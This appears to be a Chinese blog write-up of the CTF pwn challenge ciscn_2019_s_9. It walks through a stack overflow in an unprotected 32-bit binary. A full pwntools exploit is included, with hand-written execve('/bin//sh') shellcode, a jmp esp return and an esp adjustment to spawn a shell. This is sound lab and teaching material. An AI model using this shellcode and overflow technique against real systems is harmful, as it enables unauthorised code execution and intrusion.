ciscn_2019_s_9

下载附件,file一下,是32bit程序;
checksec一下;
在这里插入图片描述

基本没保护措施;
IDA里分析一波;
main()跳到pwn()
在这里插入图片描述
看看pwn()的内容;
在这里插入图片描述
看到fgets立马想到栈溢出;
又注意到有一个hint()函数;
在这里插入图片描述
其内容如下:
在这里插入图片描述

这里直接跳到了$esp$esp是在堆栈上的;
既然有栈溢出,栈可执行,又有一个跳转到$esp的函数,思路就很清晰了;
我们先利用栈溢出,覆盖pwn()函数的返回地址为jmp esp的地址,然后我们再使得$esp指向shellcode所在的地址,完美!

但是因为shellcode太长了,无法将返回地址赋值为jmp esp的地址;
在这里插入图片描述
那还是自己构造个系统调用来弹shell吧;

# coding=utf-8
from pwn import *

p = process("./ciscn_s_9")

ret_addr = 0x08048554 #jmp esp
shellcode ='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xb
int 0x80                
'''
shellcode=asm(shellcode)
payload = shellcode.ljust(0x24,'a') + p32(ret_addr) + asm("sub esp,40;call esp")
print(len(payload))

#gdb.attach(p)
p.sendline(payload)
p.interactive()

由于$esp的位置被挤到了距离shellcode开始位置40bytes后的地方,因此我们手动减掉40bytes,再主动调用;

在这里插入图片描述

这样$esp就能指向我们的shellcode,从而运行shellcode,最终弹shell;
在这里插入图片描述

连上buuoj,拿flag;

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值